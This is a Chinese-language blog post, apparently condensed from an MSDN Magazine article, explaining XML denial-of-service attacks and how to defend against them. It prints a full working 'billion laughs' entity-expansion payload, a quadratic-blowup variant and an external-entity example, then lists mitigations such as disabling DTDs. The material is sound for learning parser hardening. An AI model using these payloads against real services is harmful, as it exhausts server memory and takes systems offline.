XML DOS 攻击
2024-10-12 07:46:20
内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
DoS(Denial of service:拒绝服务)攻击由来已久(1992),比SQL注入(1998),跨站脚本(1995),CSRF(1994)都要早。
DoS攻击非常简单有效。最早的DoS攻击使用TCP SYN洪泛攻击,现代的服务器软硬件大多已经抵御了此类攻击。http://baike.baidu.com/link?url=v24lBbsdB0TjV1y6qwL1cF9cOygTGg9AesHna4S7PwOcwa7F7k2_Js07jqwfEQNgkGLSFMm3xpoAKz1o2thnHq
http://blog.csdn.net/jiangzhengdong/article/details/8119223
新的DoS攻击转向应用层,比如基于XML的DoS攻击。
XML炸弹
XML document type definition (DTD)可以定义entity,DTD可以出现在外部文件或文件内部。
利用DTD可以产生XML炸弹,也就是能迅速占用大量内存的文件,如下为例:
当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
还有一种,虽然扩展率没那么大,也很有效。200K的能够扩展到2.5G。
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
外部实体攻击
DTD也可以引用外部的实体链接。
<!ENTITY stockprice SYSTEM "http://www.contoso.com/currentstockprice.ashx">
如果遇到这种实体stockprice,永不返回,那么XML解析也就会超时了。但更好的攻击是开始返回无限长的字符串,耗尽资源。
防御XML炸弹
禁止DTD
防御外部实体攻击
限制每个实体的最大长度
限制超时
最新文章
- 怎样用ZBrush对模型进行渲染(二)
- js 根据不同情况引入不同操作
- 《JavaScript权威指南》学习笔记 第三天 找个对象
- java.lang.reflect.Method
- poj 3321 Apple Tree dfs序+线段树
- hdu 4165 dp
- Linux进程间通信-命名管道
- 最全的PHP常用函数大全
- SGU 156. Strange Graph(欧拉路)
- JAVA邮件收发实现(待)
- MVC模式编程演示样本-登录认证(静态)
- HTML5学习+javascript学习:打飞机游戏简介以及Model层
- 移动Web学习笔记(第1天)-bootstrap框架的使用
- linux 下怎样查找一个文件夹在哪个目录下?
- Hibernate的DetachedCriteria使用(含Criteria)
- 面向对象+JAVA基础
- 李白打酒——C++
- 小程序支持连Wi-Fi,代码包到4M
- Swig--模板引擎
- [Luogu 3707] SDOI2017 相关分析
热门文章
- PHP性能分析
- 自制小工具监控wcf服务是否正常
- 用“逐步排除”的方法定位Java服务线上“系统性”故障(转)
- WPF编译时提示“...不包含适合于入口点的静态‘Main’方法 ...”
- Error:/etc/fstab:Read-only file system错误的解决办法
- Ubuntu下codeblocks汉化
- Java中如何防止内存泄漏的发生
- Get current time and date on Android
- 简单制作mib表
- Openmeeting 网页打开缓慢,视频卡的一个解决方法